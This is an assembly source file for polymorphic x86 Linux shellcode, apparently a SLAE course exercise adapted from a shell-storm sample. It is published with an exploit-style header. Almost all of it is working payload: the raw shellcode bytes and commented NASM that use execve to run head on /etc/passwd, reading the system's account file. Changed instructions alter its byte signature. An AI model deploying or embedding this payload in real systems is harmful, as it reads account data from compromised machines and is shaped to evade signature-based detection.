; Exploit Title: /usr/bin/head -n99 cat etc/passwd (poly shellcode-571.php)
; Date: November 29th, 2018
; Exploit Author: Nelis
; Version: 0.2
; Tested on: Ubuntu 12.10
; Filename: headpass.nasm
; SLAE-ID: 1327
; Based on: http://shell-storm.org/shellcode/files/shellcode-571.php
; Shellcode:"\x29\xc0\x50\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe6\x50\x68\x2d\x6e\x39\x39\x89\xe7\x50\x68\x68\x65\x61\x64\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x68\x2f\x75\x73\x72\x89\xe3\x50\x57\x56\x53\xb0\x0b\x89\xe1\xcd\x80"
global _start
section .text
_start:
sub eax, eax ; changed from xor eax, eax
push eax ; put 0-term on stack
push dword 0x64777373 ; dwss
push dword 0x61702f63 ; ap/c
push dword 0x74652f2f ; te//
mov esi, esp ; save addr of stack into esi
push eax
push dword 0x39396e2d ; 99n-
mov edi, esp ; save addr of stack into edi
push eax
push dword 0x64616568 ; daeh
push dword 0x2f6e6962 ; /nib
push dword 0x2f2f2f2f ; ////
push dword 0x7273752f ; rsu/ changed from cat to head command
mov ebx,esp ; unchanged (save addr of stack into into ebx)
; mov edx, eax ; set edx to NULL / not already 0x0 / keeping it here in case you encouter issues with it
push eax ; 0-term on stack
push edi ; added for args
push esi ; added for args
push ebx ; pointer to /user////bin/head
mov al, 0xb ; set syscall execve
mov ecx,esp ; move stack pointer into ecx
int 0x80 ; make syscall
